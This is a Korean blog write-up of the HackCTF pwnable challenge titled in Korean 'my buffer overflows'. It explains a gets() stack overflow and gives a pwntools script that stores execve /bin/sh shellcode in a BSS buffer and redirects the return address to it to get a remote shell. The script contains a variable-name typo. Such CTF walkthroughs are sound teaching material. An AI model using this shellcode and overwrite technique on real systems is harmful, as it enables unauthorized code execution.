tmxklab

[HackCTF/Pwnable] 내 버퍼가 흘러 넘친다!! 본문

War Game/HackCTF

[HackCTF/Pwnable] 내 버퍼가 흘러 넘친다!!

tmxk4221 2020. 1. 27. 21:15

1. 문제확인

 

nc ctf.j0n9hyun.xyz 3003

 

1) 접속

  • Name과 input값을 입력한 뒤 프로그램 종료

 

2) IDA(Pseudocode)확인 - main()

  • read()를 사용하여 표준입력을 받아 name변수에 50bytes까지 저장 가능
  • gets()를 통해 표준입력으로 들어온 문자열을 s변수에 저장
  • gets()에 쓰인 s변수는 main()에서 선언되어 있지만 read()에 쓰인 name변수는 main()에서 찾을 수 없음
ssize_t read(int fd, void *buf, size_t len)
- int fd : 파일디스크립터(0, 1, 2는 표준 입력, 표준 출력, 표준 에러)
- void *buf : 데이터를 저장할 버퍼
- size_t len : 읽을 데이터 크기

char *gets(char *str)
- char *str : 표준 입력으로 들어온 문자열을 전달받아 저장할 버퍼
- bof 취약점 존재

 

3) name변수 확인

  • BSS(Block Started by Symbol) : 초기화되지 않은 데이터가 저장되는 영역
  • 즉, name변수는 전역변수로 선언은 되어있지만 초기화되지 않은 상태

2. 접근방법

1) 스택구조

 

2) 결론

  • get()의 bof취약점을 이용해 공격
  • read()를 통해 name변수에 쉘 코드를 삽입
  • gets()를 통해 ret의 주소 값을 방금 살펴본 name변수의 주소 값으로 변조

3. 풀이

1) 공격코드 작성

from pwn import *   # pwntools모듈
# remote(ip, port), ip는 string형, port는 int형
p = remote("ctf.j0n9hyun.xyz", 3003)

# shellcode, bss, payload 초기화
# payload는 s변수[ebp-20]에서 SFP까지 덮어야하므로 24bytes의 쓰레기 값과
# ret를 bss영역의 name변수 시작 주소 값으로 덮어씌움
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
bss = 0x0804A060
payload = "A"*24
payload += p32(bss)

# read()를 통해 name변수 shellcode로 초기화
p.recvuntil("Name : ")
p.sendline(shellcode)

# gets()를 통해 payload실행
p.recvuntil("input : ")
p.sendline(paylaod)

# interactive()는 쉘과 직접적으로 명령을 송수신할 수 있는 함수
p.interactive()

 

2) 공격실행

'War Game > HackCTF' 카테고리의 다른 글

[HackCTF/Pwnable] x64 Simple_size_BOF  (0) 2020.01.27
[HackCTF/Pwnable] x64 Buffer Overflow  (0) 2020.01.27
[HackCTF/Pwnable] Basic_FSB  (0) 2020.01.27
[HackCTF/Pwnable] Basic_BOF #2  (0) 2020.01.21
[HackCTF/Pwnable] Basic_BOF #1  (0) 2020.01.21
Comments